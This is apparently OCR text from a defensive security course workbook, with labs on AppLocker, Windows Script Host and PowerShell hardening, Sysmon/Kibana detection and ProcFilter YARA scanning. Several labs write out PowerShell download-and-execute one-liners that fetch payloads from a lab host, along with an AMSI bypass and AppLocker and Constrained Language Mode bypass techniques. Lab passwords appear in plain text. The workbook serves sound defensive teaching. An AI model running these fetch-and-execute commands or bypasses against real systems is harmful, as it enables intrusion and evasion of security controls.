Now that we've configured AppLocker to use Executable & Script rules, we still need
to add rules of course!

Luckily, AppLocker can be configured to automatically create a set of default rules. We
can do this as following:

o Drill down to Executable Rules, right click, and select Create Default Rules.

o Do the same for Script rules.

This will create the default rules essential for the operation of our Windows
computers.



10. Switch back to the workstation

11.

12.

Now return to the Windows workstation, and go back to the desktop of user
alan.marshall.

Refresh group policy

Open a command line and launch the command "gpupdate /force", this will force the
appication of the new GPOs.

Try to execute unwanted applications again

Go back to the download folder, and try to execute the different files again (using the
same command line previously used). You will notice the following behavior (if you
have a different behavior, wait a little longer and try restarting the Windows command
prompt), the AppLocker policies can sometimes take a bit of time to successfully
apply...):

o payload.exe -> Blocked through EXE rules
o payload.dll -> Still runs



o payload.vbs -> Blocked through Script rules
o payload.js -> Blocked through Script rules
o payload.hta -> Still runs

But isn't payload.hta also a script? AppLocker does not block scripts inside HTA files,
and this is one way to bypass AppLocker script control. Tip: to block HTA applications,
create an AppLocker rule to block MSHTA.EXE, this is the host for HTA files.

13. Blocking unwanted DLLs

The application rules we created now only apply to executables that are loaded into a
new process (like .exe, .scr, ...), they do not apply to executables that are loaded into
existing process (libraries: .dll).

We can block DLLs too, but that requires extra configuration, so let's go back to the
domain controller.

In the GPO editor, right-click AppLocker and click Properties, select the Advanced tab.
This tab explains that DLLs are not policied by default. This can be enabled, but can
impact system performance.

Enable the DLL rule collection. This will create a container for a new set of rules: DLL
Rules. Like we did with Executable rules, proceed to create the default rules and a
deny rule to block DLLs in C:\users. We can do this as following:

o Dirill down to DLL Rules, right click, and select Create Default Rules.
This will create the default rules essential for the operation of our Windows

computers. Finally, we will add a rule by right-clicking on "DLL rules", and select
"Create New Rule..."

In this wizard, do the following:

1. "Before You Begin": click Next
2. "Permissions": Select Deny and click Next

3. "Conditions": Select Path and click Next



4, "Path": Click Browse Folders... and select folder c:\users, click OK, click Next
5. "Exceptions": click Next
6. "Name": click Create

You have now created an AppLocker rule to deny the execution of all dll's in the
C:\users folders and subfolders.

14. Switch back to the workstation

Now return to the workstation, and go back to the desktop of user Alan Marshall. We
can again run "gpupdate /force" to refresh the group policy.



15.

16.

Executing unwanted DLLs

To execute our unwanted DLL payload.dll we will open a command prompt and
browse to the Downloads folder. Once in the Downloads folder (this is a requirement,
otherwise the .dIl will not be loaded), we can execute the following command:

C:\Users\alan.marshall\Downloads> rundll32 payload.dll, #1

You will see a warning that this was prevented. There will also be an error event in
the AppLocker event viewer reporting that the payload.dll was prevented from
executing. We have now successfully blocked a malicious .dll for loading!

Reviewing Windows event logs

Now that we have configured AppLocker, let's have a look at the type of events it
generates in our Windows event log... In a command line Window, please type the
following command:

C:\Users\alan.marshall> eventvwr



In the "Event Viewer" window, please navigate to the following location:

"Applications and Services Log" -> "Microsoft" -> "Windows" -> "AppLocker" -> "EXE
and DLL"

Please feel free to review the different events that were created. It's interesting to
note that even if AppLocker is running in a mode where it doesn't enforce any rule, it
will still provide detailed logging!

17. Bypassing AppLocker

Although a highly effective control, several of the default rules in AppLocker can be
bypassed! Security researchers are continuously looking for new effective techniques
to prevent payload execution. Two researchers who are actively looking into
AppLocker bypasses are Casey Smith (@SubTee) and Oddvar Moe (apiOcradle)!

An interesting technique involves abusing the built-in (and thus allowed by Applocker)
Windows executable "regsvr32.exe". Regsvr32 is a windows utility that is used to
register and unregister .dll files and ActiveX controls into the registry. SubTee (Casey
Smith) noticed that Regsvr32 could be used to execute commands (or even arbitrary
code) through sct files. This issue was fixed by Microsoft in one of the modern
versions of Windows 10.

Another "easy" way for default AppLocker rules is to copy / paste your executable to
the C:\Windows\Tasks folder, which is writeable to all users! Due to the AppLocker



18.

default rules, files in C:\Windows (and subdirectories) will be executable! Feel free to
try this in our test environment!

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how an application whitelisting tool such as AppLocker works and how it can
be used to prevent initial execution of payloads. We also want to highlight that tools
like AppLocker are by no means a silver bullet, as bypass strategies exist!

ATTENTION: Finishing this step will close your lab!



SEC599-2.4: Exercise - Controlling script execution in the enterprise
Objective

We have seen a nhumber of ways for an attacker to execute scripts on user’s devices and will
now attempt to limit the attacks from succeeding. The below are the high-level steps we will
take:

Execute .js, .vbs and .ps1 payloads to illustrate the attack vectors;

Disable the Windows Script Host through the registry;

Implement PowerShell restrictions (Constrained Language Mode);

Confirm the effectiveness of our defenses by re-trying the attacks;

Note that, in order to limit the impact on the target environment, we choose not to fully block
PowerShell execution, but implement controls.

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Kali

4. SEC599-E01 - Windows02

Exercise 1 : SEC599-2.4

1. Authenticate to Windows

As always, let's start by authenticating to our Windows machine.
o Username: alan.marshall

o Password: Awesomesaucel23

2. Download samples from www.evilwebserver.com

Once authenticated, please proceed by downloading a number of samples from
www.evilwebserver.com. This web site has been added as a bookmark in Google
Chrome. As we are looking at script protection, please continue and download the
following files:

o launcher.bat (which is an Empire stager that invokes PowerShell with an
encoded command)

o payload.vbs (Meterpreter)
o payload.js (Opens calc)



o payload.hta (Opens calc)

In order to download the script files, please right-click them and select "Save Link
As...". Just clicking them will not work, as they will just be displayed in your browser.
Please download them to the Downloads folder.

3. Execute the payloads

In the next step, we will attempt to run the different payloads. Not all of them give
clear visual feedback, but they shouldn't be restricted from being executed...

You can run the launcher.bat, payload.hta, payload.vbs, and payload.js payloads by
double-clicking (open the Downloads folder in @ Windows explorer window)! Note that
the launcher.bat will erase itself upon successful execution (this is a standard behavior
by Empire). Due to the "Mark-Of-Web", you'll need to confirm you want to run the
files.

Furthermore, the payload.vbs might trigger an AV alert upon execution. If this would
happen, it's a symptom of AMSI in action. More on this later!



4. PowerShell - reviewing language mode

Before attempting execution of the PowerShell script, let's analyze the "language
mode" we are using in PowerShell. In order to do so, please open a PowerShell
prompt (click the icon in the taskbar). Once the PowerShell window is opened, please
execute the following command:

PS C:\Users\alan.marshall> $ExecutionContext.SessionState.LanguageMode

This should return "FullLanguage", indicating that the current PowerShell session is
running in "Full Language Mode" and thus no restrictions are in place!

5. Attempt .ps1 execution

In order to execute the payload.ps1 file, we will just Invoke-Expression, which is
commonly used in adversary techniques.

PS C:\Users\alan.marshall> Invoke-Expression ((new-object



net.webclient).downloadstring("http://www.evilwebserver.com/samples
/payload.ps1"))

This command will download the .ps1 file and (try to) execute it. The command will
unfortunately not provide any feedback... However, AMSI is silently kicking in and
blocking our payload. Let's investigate!

. Review event logs for AMSI
In the PowerShell window, please run "eventvwr" to load the Windows event log:

PS C:\Users\alan.marshall> eventvwr
In the Windows Event Viewer window, please open the following location:

"Applications and Services Logs" -> "Microsoft" -> "Windows" -> "Windows Defender
-> "Operational”

You will notice that (one of) the first entries is an event ID 1117, which is a Defender
alert that, when you review the details, clearly states AMSI was the source! Darn
AMSI...



7. Bypassing AMSI

AMSI is a good security control to have and raises the bar. As indicated during the
class however, there's been a few different techniques that allowed adversaries to
bypass AMSI. We will demonstrate such a technique! Next to a payload.ps1, the
www.evilwebserver.com also hosts an amsibypass.psl1 file.

In October 2018, Andre Marques (zc00I) described a good technique in his personal
blog (https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-
Execute-ANY-malicious-powershell-code.html). The amsibypass.psl1 file is based on his
work! If you are curious, please feel free to open the .ps1 file and analyze the
contents! Let's try it out:

PS C:\Users\alan.marshall> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples
/amsibypass.ps1"))

PS C:\Users\alan.marshall> [Bypass.AMSI]::Disable()

PS C:\Users\alan.marshall> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples

/payload.ps1"))

The final command should now provide some clear feedback and indicate the script
started running. We have successfully bypassed AMSI!

8. Review event logs

Let's go back to the Windows event logs, to see what kind of activity was logged.
Please browse the following log location:

"Applications and Services" -> "Microsoft" -> "Windows" -> "PowerShell" ->
"Operational".

You should see several events with event ID 4104 (some with level Information,
others with level Warning). These are script block logging entries. The logs will
contain the details of the AMSI Bypass which was just executed and the other payload
that was being ran!



These are reliable indicators we can use to detect suspicious PowerShell execution!

9. Authenticate to DomainController

10.

Now, let's try to avoid these types of payloads from being executed in our
environment by implementing some of the restrictions we discussed before. We will
develop GPO's on the Domain Controller that will afterwards be pushed to our
Windows client systems. You can authenticate to the Domain Controller using the
following credentials:

o Username: Administrator

o Password: Synct3chlabs

Open the Group Policy Settings Menu

In the "Server Manager" window (which should be displayed after successful
authentication), we will select the "Group Policy Management" menu under "Tools",
from where we can control a variety of group policies & security settings for the
domain.



11. Creating a new GPO

Once the Group Policy Management window is opened, we will create a new Group
Policy Object (GPO). We can achieve this by browsing the following items in the left-
hand side of the window:

o Forest: synctechlabs.com
® Domains
= synctechlabs.com

= Group Policy Objects

In this window, we can see that a number of domain policies already exist. On the
right, please right-click and select "New". We can call this GPO "Restricting Script
Execution".



12.

13.

Editing the "Restricting Script Execution" Policy

Now, let's try to edit the newly created policy. We can do this by right-clicking it and
selecting the "Edit" option. This will launch a new window, which can be used to
configure the settings that should apply as part of this policy.

Create new registry key to disable WSH

As we discussed during the course, the Windows Script Host is responsible for the
execution of a number of scripts on Windows hosts (including .vbs and .js). We can
disable it using a registry key! In the newly opened Window ("Group Policy
Management Editor"), we will disable the Windows Script Host by adding a new
registry key. In the left-hand side of the window, we will open the following structure:

o Restricting Script Execution
m  Computer Configuration
m Preferences
= Windows Settings

m  Registry

We can now right-click in the registry window to the right and select "New" ->
"Registry Item".



14. WSH registry value

The registry key we want to create to disable the Windows Script Host is the
following:

HKEY _LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings\Enabled
We will thus enter the following values:

Hive: HKEY LOCAL_MACHINE

Key Path: Software\Microsoft\Windows Script Host|Settings)|

Value: Enabled

You could either write these values yourself manually or select them in the drill-down
menu provided to you.

Furthermore, the value type will be a "REG_DWORD" and the value data will be "0".

Note that this will update the relevant registry key on all systems on which the group
policy is being enforced, thereby effectively disabling the Windows Script host.



15. Enabling Application Identity Service

As you may remember, the Windows Script Host influence VBScript & JScript, but does
not affect Powershell. Let's also have a look at how we can harden PowerShell
execution. As we indicated before, fully blocking PowerShell is often not feasible (plus
it is @ management tool recommend by Microsoft!).

We can try enabling Applocker in order to limit the execution of scripts, thereby
running scripts that do not meet AppLocker's policy in Constrained Language Mode.
For this, we first need to enable the "Application Identity" service, which we can do by
browsing another section of the domain policy (left-hand side of the window):

o Computer Configuration
= Policies
= Windows Settings
m  Security Settings

m System Services

Select the Application Identity service. Open its properties, and enable the setting to
Automatic. This will start the Application Identity service automatically, this service is
a pre-requisite for AppLocker.



16. Enabling Applocker to run Powershell in CLM

Let's now configure Applocker to run any scripts that are not allowed by the rules to
run in Constrained Language Mode. This can be achieved by generating the default
script rules and enforcing them. We can do so by:

o Under Security Settings, drill down to Application Control Policies -> AppLocker
o Click on "Configure rule enforcement".
o We will enable the checkbox for "Script rules".

Once done, please click "OK".



17. Configure Applocker script rules

Now that we've configured AppLocker to enforce script rules, we still need to add
rules of course! Luckily, AppLocker can be configured to automatically create a set of
default rules. We can do this as following: Under the "AppLocker" entry in the GPO,
drill down to Script rules, right click, and select "Create Default Rules".

This will create the default rules essential for the operation of our Windows
computers.

18. Applying the GPO's to our workstations



Finally, we have to apply the GPO we just created to our workstation OU. We can do
this by linking it, as we've done before. After closing the "Group Policy Editor" window,
right-click the Workstations OU and select "Link an Existing GPO...".

In the "Select GPO" window, select "Restricting Script Execution" and click "OK".

19. Switch back to our Windows workstation

Once the group policy has been created on the Domain Controller, switch back to the
Windows 10 machine. Should the session be locked, please use the following
credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

20. Refresh the domain policy

Back on our Windows 10 host, please open a command prompt and run the following
command:

C:\Users\alan.marshall> gpupdate /force

By running gpupdate, the workstation will fetch & apply all applicable group policies!



21. Retry running .js and .vbs files

Let's retry running the .js and .vbs files. If you again double-click the files, you should
receive an error message indicating that the Windows Script Host has been disabled!

22. Retry PowerShell payload execution

What about PowerShell? Are we still able to execute PowerShell code? Let's have a
look! As a first step, let's close all of the open PowerShell windows and open a new

one.

In the new PowerShell window, please run the following commands:



23.

PS C:\Users\alan.marshall> $ExecutionContext.SessionState.LanguageMode

=> This should show that PowerShell is now running in Constrained language mode.
If it still says FullLanguage, please close the PowerShell window, wait +- 1 minute,
open a new PowerShell window and try again. This sometimes takes a while...

PS C:\Users\alan.marshall> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples
/amsibypass.ps1"))

You will notice that PowerShell Constrained Language Mode does not allow the
webclient object to be created, thereby effectively blocking the running of the AMSI
bypass (and any other payload for that matter)...

Bypass CLM using InsecurePowerShell

As a final step, we will now demonstrate how Constrained Language Mode can still by
bypassed! We will use another PowerShell host called "InsecurePowershell", which
was developed by Ryan Cobb (Cobbr). You can find it on https://github.com/cobbr
/InsecurePowerShell. We have downloaded a version of it under the Red Team
directory on the Desktop.

In a Windows command line, please navigate to the "C:\Users\alan.marshall
\Desktop\Red Team\InsecurePowerShell" folder and run pwsh.exe:

C:\Users\alan.marshall> cd "Desktop\Red Team\InsecurePowerShell"
C:\Users\alan.marshall\Desktop\Red Team\InsecurePowerShell> pwsh.exe

This will launch the InsecurePowershell mode, after which we can retry our
PowerShell attack sequence (check languagemode, disable AMSI, run our payload!):

PS C:\Users\alan.marshall\Desktop\Red Team\InsecurePowerShell>
$ExecutionContext.SessionState.LanguageMode

PS C:\Users\alan.marshall\Desktop\Red Team\InsecurePowerShell>
Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples
/amsibypass.ps1"))

PS C:\Users\alan.marshall\Desktop\Red Team\InsecurePowerShell>
[bypass.amsi]::disable()



24,

25.

PS C:\Users\alan.marshall\Desktop\Red
Team\InsecurePowerShell> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples

/payload.ps1"))

Sweet, our payload is running again and we have successfully bypassed PowerShell
Constrained Language Mode...

From a blue team perspective, this clearly shows that a defense-in-depth approach is
required. Additional AppLocker rules to limit executable execution could have
prevented this specific bypass. It's important to note however that a similar bypass
could be implemented by purely relying on DLL's! We will discuss additional detection
methods in the next lab!

Bonus - Change default file association

If you have time left, here's another challenge: Instead of implementing the
"stringent" controls on the .vbs and .js files, try adapting the group policy to ensure
that instead of executing, the files are opened with Notepad by default. You can find
guidance on how this can be done in the course materials!

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how script-based attacks work and what kind of defenses can be
implemented. We looked at both the Windows Script Host and PowerShell-

based attacks.

ATTENTION: Finishing this step will close your lab!



SEC599-2.5: Exercise - Detection with Script Block Logging, Sysmon
& SIGMA

Objective

The following are high-level steps in this exercise:

Install Sysmon on your Windows workstation

Configure Sysmon using the SwiftOnSecurity XML configuration
Ensure Sysmon events are forwarded to the Elastic stack
Detect execution of the payload based on command line length
Detect execution of a payload using an example SIGMA rule
Review Script Block Logging

Scenario

Virtual Machines

A

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows02

Exercise 1 : SEC599-2.5

1.

Authenticate to domain controller

We will start of by deploying sysmon in our Windows environment, which we will do
centrally using GPQ's. As a first step, authenticate to the domain controller using the
following credentials:

o Username: Administrator

o Password: Synct3chlabs

Review the sysmon.cmd script

In order to facilitate things, we have already provided a .cmd script in the domain
SYSVOL share (which is accessible to all domain users). You can find it on the domain
controller in the following location:

o C:\Windows\SYSVOL\sysvol\synctechlabs.com\Sysmon\sysmon.cmd

You can open the folder by clicking the SYSVOL shortcut on the Desktop and opening
the Sysmon folder. You can open the .bat script by right-clicking and selecting "Edit
with Notepad++". As part of the .bat script, you'll see that:



o The script copies the sysmon configuration file from the domain share
(SYSVOL) to the C:\windows directory;

o The script copies a new NXLog configuration file (which includes the Sysmon
logs);

o The script checks whether the Sysmon service is running. If it's not running, it
will attempt to start it. If it cannot start it, it will install it.

The idea is to have this script run periodically, to ensure all hosts in the domain have
sysmon running, with the latest configuration file. Credits go to Pablo Delgado
(syspanda.com) for this simple, yet effective, script!

In the next steps, we will use GPO's to ensure this .cmd script is executed upon
system startup.

. Review the sysmonconfig.xml

Sysmon is typically installed / configured according to an XML configuration file. We
will use the very well-known (& highly rated) base configuration file from
"SwiftOnSecurity". It's been added to the same SYSVOL folder where you can find the
sysmon.cmd file.

Feel free to walk through the .xml file, as it is very well commented and is thus rather
intuitive. In your own environment, you can choose to further adapt or tailor to your
needs.

Once you are finished, please feel free to close Notepad++.



4. Review new nxlog.conf file

During day 1, we already reviewed a "standard" nxlog configuration file. This
forwarded a number of standard Windows events over to our Elastic stack. We will
now add some additional log information! Inside the SYSVOL\Sysmon folder, we've
added an nxlog.conf configuration file that also includes Sysmon logs. We will push
this configuration file to our systems using GPQO's!



5. Create GPO for Sysmon

Now that all configuration files have been prepared, let's start deploying our solution
to the domain environment!

We can open the "Group Policy Management" menu from the Server Manager (which
is started automatically upon logon, if you can't find it press the Windows start button
and type "Server Manager"). You can click Tools, after which you can select "Group
Policy Management".

As we've done before, we wil drill down to the following location:

o

Forest: synctechlabs.com

o

Domains

o

synctechlabs.com

o

Right-click "Group Policy Objects" and select "New"

We will create a GPO called "Install Sysmon".



6. Open Startup Scripts

Let's configure our "Install Sysmon" GPO. You can do this by right-clicking it and
selecting "Edit". We will now add the sysmon.bat and nxlog.bat files as startup scripts
for all hosts in the domain. Within the Group Policy Management Editor, we will drill
down to the following location:

o Computer Configuration

o Policies

o Windows Settings

o Scripts (Startup/Shutdown)

o Startup (Right-click -> Properties)



7. Add Sysmon startup script

Click "Add...". We will now reference the sysmon.bat file that is hosted on the
SYSVOL share of the Domain Controller as the script name:

o \\DC\sysvol\synctechlabs.com\Sysmon\sysmon.cmd

Once added, please click "OK"and click "OK" again to confirm the Startup
configuration. As a reminder, this .cmd file will ensure that Sysmon is running with the
latest configuration file that is hosted in the SYSVOL share.



8. Link GPO to workstations

Finally, let's link the GPO to our Workstations, to ensure it is applied. In order to
achieve this, please right-click the Workstations OU and select "Link an existing
GPO...". In the next window, select "Install Sysmon" and click OK.



9. Authenticate to Windows workstation &amp; reboot

Let's test our startup script on our Windows workstation. We can do this by first
authenticating to the workstation:

o Username: alan.marshall
o Password: Awesomesaucel23

Upon successful authentication, please open a command prompt and run:
C:\Users\alan.marshall> gpupdate /force

Once the group policy is updated, please reboot the machine.

10. Authenticate to Windows workstation

Once the workstation has restarted, authenticate again using the following
credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

11. Start Logstash &amp; Kibana

Now that our systems are configured to forward Sysmon logs to our Elastic stack, let's
launch Logstash to start collecting logs. We can do this by opening Putty and double



clicking the "Ubuntu03" saved entry.
Once the session is set up, please switch to the root user and restart Logstash:

alanmarshall@ubuntu03:~$ sudo -s
=> Enter the "Awesomesauce123" password

root@ubuntu03:~# service logstash start
root@ubuntu03:~# service nginx start

Please leave this Putty window open (do not close it!)

12. Download samples from evil website

Let's download some common payloads! As we did during a previous exercise, please
open Google Chrome, click the "Samples - Evilwebserver" bookmark and download
the following files (right-click, "Save link as...." and download the files to the
Downloads folder):

o payload.vbs
o payload.hta
o payload.js

Now, let's try executing the payload.vbs, payload.hta and payload.js files. Please open
a Windows explorer window, navigate to the Downloads folder and double-click the
.vbs, .hta and .js file one by one. Due to the mark-of-web, you will have to confirm
you want to run them!



13. Launch Chrome &amp; open Kibana
Next up, let's open a new tab in Google Chrome and click the "Kibana" bookmark. The
credentials for Kibana are:
o Username: alanmarshall

o Password: Awesomesaucel23

In Kibana, please click the Dashboard link and open the "Sysmon - Process execution”
dashboard. In the top-right corner of the Dashboard, please click the "Last 15
minutes" time filter and change it to "Today".

In order to generate some logs, please open for example WinSCP, which is located on
your Desktop. You should receive a dashboard similar as the one in the screenshot
attached. Note that the EventID is fixed "1", which is the Sysmon event ID for process
creation.

Please take some time to review the dashboard and get familiar with the events.



14. Detecting WSH and HTA - Step 1

Let's now try to detect the .js, .vbs and .hta files. These executed using the Windows
Script Host and the HTML Application Host. As an inspiration, let's have a look at a
Sigma rule that was created for script execution:

https://github.com/Neo023x0/sigma/blob/master/rules/windows/sysmon
/sysmon_susp_script_execution.yml

You can open this URL outside of the lab environment, on your normal host machine.

This is an interesting rule, yet it doesn't cover MSHTA for example. Let's create our
own filter in Kibana (which is based on this rule, but will also cover MSHTA)! Please
take the following steps:

Click "Add a filter +"

o

o

Set the Field to "Image.keyword"

o

Set the Operator to "is one of"

o

Add the following entries in the "is one of" selection:

m C:\Windows\System32\wscript.exe
m C:\Windows\System32\cscript.exe



m C:\Windows\SysWOW64\mshta.exe

o Set the label to "Script Execution"

Please refer to the screenshot attached for the correct configuration. Once the
configuration is complete, please click "Save".

15. Detecting WSH and HTA - Step 2

Once the filter is saved, it should become active and immediately filter the dashboard.
You should see 3 events and should be able to clearly see the payload.vbs, payload.js
and payload.hta executing!

Please scroll down in the dashboard and click the little arrow next to the timestamp in
the table (left-hand side). Once you click this little arrow, it will expand the entire
event and you can see detailed information. In the screenshot attached, the the little
arrow can be found to the left of the "December 16th 2018, 23:04:01.000" time
stamp. Your time stamp will of course vary!

These simple filters can provide good visibility on scripts being executed on our
systems.



16. Detecting PSH - Script Block Logging

Finally, let's see if we can detect suspicious PowerShell execution. Let's first run some
possibly suspicious commands (including our AMSI bypass)! Please open a PowerShell
window and execute the following commands:

PS C:\Users\alan.marshall> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples
/amsibypass.ps1"))

PS C:\Users\alan.marshall> [Bypass.AMSI]::Disable()

PS C:\Users\alan.marshall> Invoke-Expression ((new-object
net.webclient).downloadstring("http://www.evilwebserver.com/samples

/payload.ps1"))

We already ran these commands during the previous lab, they will bypass Empire and
afterwards run some shellcode... Typically stuff that should be picked up by
PowerShell Script Block Logging!



17. Detecting PSH - Kibana dashboard

After executing the PowerShell commands in the previous step, please switch back to
the Kibana web interface. We will now assess whether the executed commands were
logged and whether we can spot them.

In the Kibana interface, please click "Dashboard" -> "PowerShell Script Block
Logging". This dashboard shows all Windows events that have event ID 4104 (used
for Script Block Logs).

18. Detecting PSH - Expanding an event

In the PowerShell dashboards, please expand some of the detailed events at the top
of the list (click the small horizontal triangle to the left hand side) and review the
event details. If you compare some of the script block logs to the original .ps1 files we
ran in the previous step, you'll recognize them!



The example in the screenshot is the event that was triggered upon execution of the
following script:

www.evilwebserver.com/samples/payload.ps1

19. Detecting PSH - Refresh Kibana indices

While exploring the event details, you may notice some small "yellow warning signs".
These indicate that the fields have not been indexed yet. Let's fix this, by taking the
following steps:

o Click "Management" (left side of the Kibana interface)
o Click "Index Patterns"

o Click "Refresh field list" (right side of the Kibana interface). Confirm by clicking
"Refresh" again.

This is a fundamental step to further create dashboards, visualizations,... leveraging
new data sent to the Elastic stack.



20. Bonus - PowerShell long commands

A a bonus step, here's an interesting challenge: try adding a field to the Sysmon
process creation events that includes the "length" of the command line... This can be
useful, for example for long Powershell invocations with a long Base64-encoded
command.

Here's a few hints:

o Adapt the "/etc/logstash/conf.d/12-winevents.conf" file on the Ubuntu03
machine.

o Under the "date" section, please add the following lines of code (see
screenshot for exact expected result). Please be careful with the { and }
positions, as an incorrect position of these characters will trigger an error
(intendation is not important though). Once this is added, please close the
configuration file and save it.

if [CommandLine] {
ruby {
code => "event.set('CommandLineLength’,
event.get('CommandLine').length)"
>
by



21. Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate payload execution detection strategies, thereby leveraging Sysmon, NXLog
and PowerShell Script Block Logging. As a bonus, we also adapted the standard
Sysmon "process creation" events to include even more information! (command line

length)

ATTENTION: Finishing this step will close your lab!



SEC599-2.6: Exercise - Preventing payload execution using ProcFilter
Objective

The high-level objectives of the lab are the following:
e Installing ProcFilter on our workstations
e Configuring ProcFilter
e Reviewing ProcFilter effectiveness using various execution techniques

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Kali

4. SEC599-E01 - Windows02

SEC599-2.6

1. Authenticate to Windows workstation

As a first step, please authenticate to our workstation using the following username
and password:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Launch ProcFilter installer

Once authenticate to the Windows workstation, we will install ProcFilter. You can do
so by opening the "Blue Team" folder on the Desktop and double clicking the
ProcFilter installer ("ProcFilter.x64.release.exe").

When prompted for administrative credentials, you can use Alan's workstation
administrator credentials:
o Username: alan.marshall.adm

o Password: Securlty



3. Walk through ProcFilter installer

You can now walk through the ProcFilter installer:

(e]

(e]

(e]

Click "Next" in the first window

In the second window, accept the license agreement and click "Next" again
Click "Next" in the third window (destination folder)

Click "Next" in the fourth window (start menu folder)

Click "Install" in the fifth window

Once installed, please leave the default options configured

= "Configure ProcFilter now"

m "Start the ProcFilter service"

Finish the installation by clicking "Finish"



4. ProcFilter configuration window

Once installed, ProcFilter will launch a command line prompt window that will ask you
a series of configuration questions. We will configure ProcFilter with the default
settings and just hit enter for all configuration questions. The default configuration
includes the following settings:

o Enable the ProcFilter core modules

o

Calculate hashes of all executables

Perform a YARA scan of all executables on execution

o

o Log remote threads being created
o Log command line arguments
Some notes on the default configuration:

o The default modules include for example a hash compare and a periodic scan
of running processes in memory

o The default configuration does not YARA scan / hash DLLs (due to
performance concerns)



5. Open Notepad++ with admin privileges

Once the configuration window has closed, please right-click the "Notepad++" icon
which is in the taskbar. Right-click "Notepad++" again and select "Run as
administrator..."

In the password prompt, please provide Alan's local admin credentials:

o Username: alan.marshall.adm

o Password: Securlty

6. Open ProcFilter configuration file

Once Notepad++ has opened, please open the "C:\Program Files\ProcFilter
\procfilter.ini" file. You can do this by clicking "File" -> "Open..." and navigating to the
procfilter.ini file. If the explorer window doesn't show the file extension, please refer



to the screenshot, which shows the right file highlighted.

Take some time to scroll through the file and review the configuration file. Some
highlights:

o LocalRuleFile=master.yara
=> This is the location of loaded YARA rules

o BlockDefault=1 and LogDefault=1
=> ProcFilter will actively block and log processes that match the YARA rules

o PeriodicScanIntervalSeconds=0
=> ProcFilter will not perform a periodic file / memory scan of running
processes

o LogLevel=6
=> ProcFilter logging is currently disabled. We will

o ScanFileOnProcessCreate=1 and ScanMemoryOnProcessCreate=0
=> ProcFilter will scan the file image of a process when started but not scan
the memory of the process

The configuration file should clearly illustrate ProcFilter's flexibility, as it can be
configured in a wide variety of different ways.

7. Copy YARA rules to ProcFilter directory

Let's try using ProcFilter using a set of YARA rules obtained from Florian Roth's
repository. More specifically, we will copy the following rule file:

o gen_metasploit_payloads.yar

Please open the "Desktop\Blue Team\yara\rules-florianroth" directory and copy the file
over to "C:\Program Files\ProcFilter\localrules". This will trigger a UAC prompt and
request administrative credentials. You can provide the following:



o Username: alan.marshall.adm

o Password: Securlty

8. Add YARA rulefile to master.yara

ProcFilter relies on the "C:\Program Files\ProcFilter\localrules\master.yara" file to list
all of the YARA rules that are enabled. We thus still need to add our added YARA rules
to this master.yara file.

Please switch back to the Notepad++ window and open the C:\Program
Files\ProcFilter\localrules\master.yara file (File -> Open). Once opened, add the
following line:

include "gen_metasploit_payloads.yar"

Once you have added the line, please click "File" -> "Save" to save your configuration
changes.



9. Launch an elevated command prompt
Once the master.yara file is updated and saved, please launch an elevated command

prompt by right-clicking the command prompt icon in the taskbar, right-clicking
"Command Prompt" again and selecting "Run as administrator..."
We will again use Alan Marshall's local administrator account:

o Username: alan.marshall.adm

o Password: Securlty

10. Restart ProcFilter service

In the elevated command prompt, we will now relaunch the ProcFilter service to load
our new YARA rules. You can achieve this by running the following commands:



C:\WINDOWS\system32> net stop "ProcFilter Service"
C:\WINDOWS\system32> net start "ProcFilter Service"

11. Download and run payload.exe

Next up, please open a Google Chrome window and click the "Samples -
Evilwebserver" bookmark. From the samples directory, please download payload.exe
(just clicking it should suffice).

Once it is downloaded, please click the "payload.exe" entry in the Chrome Downloads
bar at the bottom of the Chrome window to launch it. Once you confirm by clicking
"Run", you should receive an immediate error (see screenshot), indicating that "the
file contains a virus or portentially unwanted software".

This is ProcFilter in action!



12. Review Windows Event logs

Let's switch back to the elevated command prompt (which we had open previously to
restart the service) and launch te Windows event viewer:

C:\WINDOWS\system32>eventvwr

In the Windows event viewer, please navigate to "Applications and Services Log" ->
"ProcFilter" -> "Service". One of the first lines in the Windows event log will be
"Critical", please review this event, as it provides details on the payload.exe hit and
the specific YARA rule that triggered!

In your enterprise environment, these events could be filtered and forwarded for
centralized follow-up and monitoring.



13.

14,

Bonus - Configure ProcFilter periodic scanning

Congratulations! You have finished the main part of the lab. Here's an additional
challenge:

Can you configure ProcFilter to perform a daily scan memory scan? (so not file
system?)
9 In order to perform a daily scan you will need to adapt the following values:
o PeriodicScanIntervalSeconds=86400
o ScanFileOnProcessCreate=0

o ScanFileOnPeriodic=0

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how YARA rules can be operationalized in your environment using a tool like
ProcFilter. We looked at both active prevention upon process creation and periodic
scanning! It's worth mentioning that several commercial tools (e.g. EDR tools) provide
similar YARA support and could be leveraged in your corporate environment.

ATTENTION: Finishing this step will close your lab!



SEC599-3.1: Exercise - Exploit mitigation using compile-time controls
Objective

The objective of the exercise is to analyze how exploits can be mitigated using compile-time
controls. We will use Visual Studio to compile a vulnerable application with and without
compile-time control such as stack canaries.

e Compile a program without stack canaries

e Identify the vulnerability & overwrite the program buffer

e Compile the same program with stack canaries

e Attempt to exploit the program again, now observing the new behavior

Scenario

Virtual Machines

1. SEC599-EQ1 - DomainController
2. SEC599-E01 - Firewall
3. SEC599-E01 - Windows02

Exercise 1 : SEC599-3.1

1. Authenticate to Windows
